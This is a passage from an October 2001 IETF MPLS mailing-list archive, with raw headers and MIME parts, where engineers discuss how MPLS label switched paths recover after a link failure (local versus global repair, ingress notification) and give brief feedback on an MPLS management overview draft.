                                           ^^^^^
-> ingress to reroute again when the link between 16 and 17 comes
-> up.

  Router 16 MAY indicate the ingress LER when the link between
  Router 16 and 17 comes back up. There are no hard and fast rules...

--Venkata Naidu 


------_=_NextPart_001_01C150E9.557E57F0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001>Sachin/Venkata:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=260332117-09102001>You're 
mixing protection switching, and re-route scenarios.&nbsp;There are specific 
behaviors/state requirements depending on the recovery 
strategy,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001>&nbsp;&nbsp;&nbsp;&nbsp;- LSR 16 may tell the ingress 
(revertive/non-revertive global repair), </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001>&nbsp;&nbsp;&nbsp; - LSR 16 may tell no-one (local 
repair),&nbsp; </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001>&nbsp;&nbsp;&nbsp; - LSR 16 may tell EVERYONE (simple 
re-route) when the link goes down/comes back up.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001>later</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001>Dave</SPAN></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=260332117-09102001></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2><BR><B>From:</B> Sachin Kalra [mailto:skalra@opnet.com]<BR><B>Sent:</B> 
  Tuesday, October 09, 2001 1:17 PM<BR><B>To:</B> Naidu, Venkata; 
  'manis@futsoft.com'; mpls@uu.net<BR><B>Subject:</B> RE: LSP 
  Failure/Recovery<BR><BR></DIV></FONT>Venkata:<BR><BR>Thanks for the 
  email.<BR><BR>&gt; Router 16 MAY indicate the ingress LER when the link 
  between<BR>&gt;Router 16 and 17 comes back up. There are no hard and fast 
  rules...<BR><BR>I agree with Mani in this case and suspect that "LSR 16 MAY 
  indicate the ingress LER when the link between Router 16 and 17 comes back 
  up."<BR><BR>Because<BR>1&gt; Why would LSR16 maintain information about the 
  broken LSP (Which is not going through LSR16 any more, as may be the case that 
  LSR14/15 or Ingress LER may have rerouted the LSP bypassing 
  LSR16)<BR><BR>2&gt; And if LSR16 does not maintain any state for broken LSP 
  then it should not even know that it has to inform any LER (or other LSR) 
  about the link recovery. <BR><BR>Please correct me if I am 
  wrong.<BR>Sachin<BR><BR>At 01:00 PM 10/9/01 -0400, Naidu, Venkata wrote:<BR>
  <BLOCKQUOTE class=cite cite type="cite">Mani:<BR><BR>-&gt; If you have a 
    "local repair" support implemented, Router 16 will<BR>-&gt; reroute the LSP 
    from itself (Router16) to the destination. It is not<BR>-&gt; required for 
    the rerouting to be done from the Ingress or the head<BR>-&gt; of the LSP - 
    which is known as "Global repair".<BR><BR>&nbsp; Strictly speaking, there is 
    no requirement that only the<BR>&nbsp; affected router (Router 16 here) 
    should do "local repair".<BR>&nbsp; Any router/LSR which has sufficient 
    information can do <BR>&nbsp; local repair (for example router 15 or 14 
    etc)<BR>&nbsp;<BR>-&gt; Secondly Router 16 can reroute avoiding Router 17, 
    only when<BR>-&gt; Router 17 is not an explicit Hop to be reached from 
    Router 16 for<BR>-&gt; the rerouted LSP<BR><BR>&nbsp; Not necessarily true. 
    If one of the links between Router 16 <BR>&nbsp; and Router 17 fails, the 
    _only_ requirement is to avoid the<BR>&nbsp; failed "link" and not the 
    complete "node" (Router 17 here).<BR><BR>&nbsp; So Router 16 can locally 
    route the LSP to another parallel<BR>&nbsp; link to Router 17 _OR_ another 
    disjoint path to 17. What you<BR>&nbsp; are trying to achieve here is link 
    disjointness and not<BR>&nbsp; node disjointness.<BR>&nbsp;&nbsp; <BR>-&gt; 
    W.r.to your questions, If Router 16, has indicated the ingress<BR>-&gt; and 
    done the reroute (global repair), It will not indicate 
    the<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
    ^^^^^<BR>-&gt; ingress to reroute again when the link between 16 and 17 
    comes<BR>-&gt; up.<BR><BR>&nbsp; Router 16 MAY indicate the ingress LER when 
    the link between<BR>&nbsp; Router 16 and 17 comes back up. There are no hard 
    and fast rules...<BR><BR>--Venkata Naidu 
</BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C150E9.557E57F0--


From owner-mpls@UU.NET  Tue Oct  9 13:53:19 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA10570
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 13:53:14 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkah29061;
	Tue, 9 Oct 2001 17:50:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkah11299
	for mpls-outgoing; Tue, 9 Oct 2001 17:49:47 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkah11294
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:49:45 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkah25330
	for <mpls@UU.NET>; Tue, 9 Oct 2001 17:48:41 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkah26686
	for <mpls@UU.NET>; Tue, 9 Oct 2001 17:48:55 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA19268;
	Tue, 9 Oct 2001 13:48:38 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA05870;
	Tue, 9 Oct 2001 13:48:39 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVXGPNC>; Tue, 9 Oct 2001 13:48:38 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C8E7@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Sachin Kalra'" <skalra@opnet.com>,
        "'manis@futsoft.com'"
	 <manis@futsoft.com>,
        "mpls@uu.net" <mpls@UU.NET>
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 13:48:31 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

-> -> Router 16 MAY indicate the ingress LER when the link between
-> -> Router 16 and 17 comes back up. There are no hard and fast rules...

-> I agree with Mani in this case and suspect that "LSR 16 MAY indicate the
ingress LER when the link -> between Router 16 and 17 comes back up."

-> Because
-> 1> Why would LSR16 maintain information about the broken LSP (Which is
not going through LSR16 any -> more, as may be the case that LSR14/15 or
Ingress LER may have rerouted the LSP bypassing LSR16)

-> 2> And if LSR16 does not maintain any state for broken LSP then it should
not even know that it -> -> has to inform any LER (or other LSR) about the
link recovery. 

  What I am trying to convey is: There is no requirement which 
  states not to maintain notification information.

  Please refer to section 3.8.3 Restoration and Notification 
  in draft-ietf-mpls-recovery-frmwrk-03.txt.

--Venkata Naidu


From owner-mpls@UU.NET  Tue Oct  9 14:01:25 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10772
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 14:01:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkah06146;
	Tue, 9 Oct 2001 17:55:57 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkah11608
	for mpls-outgoing; Tue, 9 Oct 2001 17:55:45 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkah11603
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 17:55:41 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkah10586
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:55:21 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkah04963
	for <mpls@uu.net>; Tue, 9 Oct 2001 17:55:13 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA19956;
	Tue, 9 Oct 2001 13:55:18 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA08400;
	Tue, 9 Oct 2001 13:55:18 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVXGQ1B>; Tue, 9 Oct 2001 13:55:09 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C8E8@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'manis@futsoft.com'" <manis@futsoft.com>,
        "'Sachin Kalra'"
	 <skalra@opnet.com>, mpls@UU.NET
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 13:54:55 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

-> #-> If you have a "local repair" support implemented, Router 16 will
-> #-> reroute the LSP from itself (Router16) to the 
-> destination. It is not
-> #-> required for the rerouting to be done from the Ingress 
-> or the head
-> #-> of the LSP - which is known as "Global repair".
-> #
-> #  Strictly speaking, there is no requirement that only the
-> #  affected router (Router 16 here) should do "local repair".
-> #  Any router/LSR which has sufficient information can do 
-> #  local repair (for example router 15 or 14 etc)
-> 
-> Yes. I agree that there other than Router 16, its upstream
-> LSRs/Routers too do the "local repair". 
-> 
-> I meant, if Router 16 has the capability to do the local
-> repair, it can reroute the LSP from its point itself.
-> In that case Router 15 or 14 need not do a re route. Am I right?

  Yes.
 
-> #-> Secondly Router 16 can reroute avoiding Router 17, only when
-> #-> Router 17 is not an explicit Hop to be reached from Router 16 for
-> #-> the rerouted LSP
-> #
-> #  Not necessarily true. If one of the links between Router 16 
-> #  and Router 17 fails, the _only_ requirement is to avoid the
-> #  failed "link" and not the complete "node" (Router 17 here).
-> #
-> #  So Router 16 can locally route the LSP to another parallel
-> #  link to Router 17 _OR_ another disjoint path to 17. What you
-> #  are trying to achieve here is link disjointness and not
-> #  node disjointness.
-> 
-> I meant, suppose the LSP is initially established, and the 
-> LSP request
-> had Router 17 as a strict hop (ERO) to be reached from 
-> Router 16. In this
-> case the LSP cannot be rerouted right? Since Router 17 is the one
-> to be reached from Router 16. 

  Yes, if Router 17's failed link is in strict/loose ERO.  

-> #-> W.r.to your questions, If Router 16, has indicated the ingress
-> #-> and done the reroute (global repair), It will not indicate the
-> #                                           ^^^^^
-> #-> ingress to reroute again when the link between 16 and 17 comes
-> #-> up.
-> #
-> #  Router 16 MAY indicate the ingress LER when the link between
-> #  Router 16 and 17 comes back up. There are no hard and 
-> fast rules...
-> 
-> Is this more of an implementation related one? i.e. to 
-> indicate the ingress?

  As Dave pointed out, Yes!

--Venkata Naidu


From owner-mpls@UU.NET  Tue Oct  9 14:28:39 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11212
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 14:28:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkaj08571;
	Tue, 9 Oct 2001 18:26:30 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkaj02541
	for mpls-outgoing; Tue, 9 Oct 2001 18:25:52 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkaj02530
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 18:25:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkaj16818
	for <mpls@UU.NET>; Tue, 9 Oct 2001 18:24:18 GMT
Received: from vill.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQlkaj21361
	for <mpls@UU.NET>; Tue, 9 Oct 2001 18:24:10 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id OAA09663;
	Tue, 9 Oct 2001 14:24:00 -0400 (EDT)
Message-ID: <3BC3417D.D7AF748A@vill.com>
Date: Tue, 09 Oct 2001 14:27:09 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Nadeau <tnadeau@cisco.com>
CC: subip-area@subip.ietf.org, mpls@UU.NET, swallow@cisco.com,
        Vijay Srinivasan <vijay@cosinecom.com>,
        "Wijnen, Bert (Bert)" <bwijnen@lucent.com>,
        Scott Bradner <sob@harvard.edu>, afarrel@movaz.com,
        Cheenu Srinivasan <cheenu@alphion.com>
Subject: Re: MPLS Management Overview Draft
References: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Tom,

This was a much needed effort. Just one feedback.
You have examples in all the other draft MIBs. It will
be good if you can add those examples in this draft and
adjust the values of the attributes to show the linkages.
Just a thought.
Regards,
Irfan Lateef

Thomas Nadeau wrote:

>         Hi,
>
>         During the MPLS meeting in London, Bert W. had requested that
> I type up a draft providing an overview view of how all of the MPLS-related
> MIBs fit together. The initial version of this draft is now available
> here:
>
> http://search.ietf.org/internet-drafts/draft-nadeau-mpls-mgmt-overview-00.txt
>
>         The co-authors and I welcome your comments on this draft.
>
>         As a point of order, should the MPLS WG accept this draft
> as a working group document right away?  This document doesn't
> satisfy a specific WG work item, but it was asked for directly
> by one of the WG's ADs.
>
>         --Tom
>
> ------------------------------------------------------------------------
> Mathematics is the supreme nostalgia of our time.

--
Irfan Lateef
Village Networks Inc,




From owner-mpls@UU.NET  Tue Oct  9 14:30:09 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11252
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 14:30:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkaj04753;
	Tue, 9 Oct 2001 18:27:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkaj02653
	for mpls-outgoing; Tue, 9 Oct 2001 18:27:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkaj02648
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 18:27:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkaj01360
	for <mpls@uu.net>; Tue, 9 Oct 2001 18:26:15 GMT
Received: from chimera.elec.qmul.ac.uk by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: chimera.elec.qmul.ac.uk [138.37.32.200])
	id QQlkaj02448
	for <mpls@uu.net>; Tue, 9 Oct 2001 18:26:29 GMT
Received: from hongweipc ([138.37.33.58])
	by chimera.elec.qmul.ac.uk with smtp (Exim 3.16 #2)
	id 15r1T1-0001rU-00; Tue, 09 Oct 2001 19:18:59 +0100
From: "Hongwei" <hongwei.zhou@elec.qmul.ac.uk>
To: "David Allan" <dallan@nortelnetworks.com>
Cc: <mpls@UU.NET>
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 19:28:27 +0100
Message-ID: <MEEJLEKIFLLBNABPKDAOGEOBCGAA.hongwei.zhou@elec.qmul.ac.uk>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_009E_01C150F8.91FC5830"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <3549C09B853DD5119B540002A52CDD3454B7EF@zcard0ka.ca.nortel.com>
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_009E_01C150F8.91FC5830
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


  Dave,

  If it is intended to implement traffic engineering with mpls, i think it
will be rational to let the ingress router deal with rerouting task because
it is the ingress router that computed the explicit route. if we allow LSR16
to do local rerouting, we may not achieve overall optimised network
performance, that is, the network load may not be balanced the best.

  If we have no concern about traffic engineering, i think all the three
methods you listed are usable, depending on the network administrator or
device vendors.

  To be honest, I have also some other confusions about explicit routing:
  1. how does the ingress routers compute the optimised explicit routes
through the network?
  2. To compute an optimised route, a router need complete information of
the network. but every router including LERs and LSRs, has the complete
information about the whole network or the autonomous system, or just the
LERS have this whole information?
  3. how do the routers get the information about the whole network? it
should be a headache because the load of the network, maybe also the
topology of the network, is in highly dynamic change.

  Thanks for every answer in advance!!!

  -Hongwei

    -----Original Message-----
    From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of David
Allan
    Sent: 09 October 2001 18:39
    To: Sachin Kalra; Naidu, Venkata; 'manis@futsoft.com'; mpls@uu.net
    Subject: RE: LSP Failure/Recovery


    Sachin/Venkata:

    You're mixing protection switching, and re-route scenarios. There are
specific behaviors/state requirements depending on the recovery strategy,
        - LSR 16 may tell the ingress (revertive/non-revertive global
repair),
        - LSR 16 may tell no-one (local repair),
        - LSR 16 may tell EVERYONE (simple re-route) when the link goes
down/comes back up.

    later
    Dave


------=_NextPart_000_009E_01C150F8.91FC5830
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY>
<DIV>&nbsp;</DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma size=3D2>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN=20
  class=3D719260218-09102001>Dave,</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN=20
  class=3D719260218-09102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN =
class=3D719260218-09102001>If it=20
  is intended to implement traffic engineering with mpls, i think it =
will be=20
  rational to let the ingress router deal with rerouting task because it =
is the=20
  ingress router that computed the explicit route. if we allow LSR16 to =
do local=20
  rerouting, we may not achieve overall optimised network performance, =
that is,=20
  the network load may not be balanced the best. </SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN=20
  class=3D719260218-09102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN =
class=3D719260218-09102001>If we=20
  have no concern about traffic engineering, i think all the three =
methods you=20
  listed are usable, depending on the network administrator or device=20
  vendors.</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN=20
  class=3D719260218-09102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN =
class=3D719260218-09102001>To be=20
  honest, I have also some other confusions about explicit=20
  routing:</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN =
class=3D719260218-09102001>1. how=20
  does the ingress routers compute the optimised explicit routes through =
the=20
  network?</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN =
class=3D719260218-09102001>2. To=20
  compute an optimised route, a router need complete information of the =
network.=20
  but every router including LERs and LSRs, has the complete information =
about=20
  the whole network or the autonomous system, or just the LERS have this =
whole=20
  information?</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN =
class=3D719260218-09102001>3. how=20
  do the routers get the information about the whole network? it should =
be a=20
  headache because the load of the network, maybe also the topology of =
the=20
  network, is in highly dynamic change.</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN=20
  class=3D719260218-09102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN =
class=3D719260218-09102001>Thanks=20
  for every answer in advance!!!</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN=20
  class=3D719260218-09102001></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN=20
  class=3D719260218-09102001>-Hongwei</SPAN></FONT></DIV>
  <DIV><FONT color=3D#0000ff face=3D&#23435;&#20307; size=3D2><SPAN=20
  class=3D719260218-09102001></SPAN></FONT>&nbsp;</DIV>
  <BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
    <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> =
owner-mpls@UU.NET=20
    [mailto:owner-mpls@UU.NET]<B>On Behalf Of </B>David =
Allan<BR><B>Sent:</B> 09=20
    October 2001 18:39<BR><B>To:</B> Sachin Kalra; Naidu, Venkata;=20
    'manis@futsoft.com'; mpls@uu.net<BR><B>Subject:</B> RE: LSP=20
    Failure/Recovery<BR><BR></DIV></FONT>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001>Sachin/Venkata:</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001>You're mixing protection switching, and =
re-route=20
    scenarios.&nbsp;There are specific behaviors/state requirements =
depending on=20
    the recovery strategy,</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001>&nbsp;&nbsp;&nbsp;&nbsp;- LSR 16 may tell =
the=20
    ingress (revertive/non-revertive global repair), =
</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001>&nbsp;&nbsp;&nbsp; - LSR 16 may tell =
no-one (local=20
    repair),&nbsp; </SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001>&nbsp;&nbsp;&nbsp; - LSR 16 may tell =
EVERYONE=20
    (simple re-route) when the link goes down/comes back =
up.</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001>later</SPAN></FONT></DIV>
    <DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
    class=3D260332117-09102001>Dave</SPAN></FONT></DIV>
    =
<DIV>&nbsp;</DIV></BLOCKQUOTE></DIV></FONT></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_009E_01C150F8.91FC5830--



From owner-mpls@UU.NET  Tue Oct  9 14:33:35 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11318
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 14:33:34 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkak16968;
	Tue, 9 Oct 2001 18:30:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkak02950
	for mpls-outgoing; Tue, 9 Oct 2001 18:30:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkak02945
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 18:30:14 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkak21823
	for <mpls@UU.NET>; Tue, 9 Oct 2001 18:30:07 GMT
Received: from tenornetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQlkaj00862
	for <mpls@UU.NET>; Tue, 9 Oct 2001 18:29:59 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f99IU1519835;
	Tue, 9 Oct 2001 14:30:01 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          TUE, 9 Oct 2001 14:30:36 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <SY29QT1G>; Tue, 9 Oct 2001 14:30:35 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56011B5249@newman.tenornet.com>
From: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
To: "'Joan Cucchiara'" <jcucchia@CrescentNetworks.com>,
        Srinivas T M
	 <srini_tm@yahoo.com>
Cc: mpls@UU.NET, jcucchiara@CrescentNetworks.com,
        jluciani@CrescentNetworks.com, hans@ipunplugged.com
Subject: RE: mplsLdpEntityTable
Date: Tue, 9 Oct 2001 14:30:35 -0400 
MIME-Version: 1.0
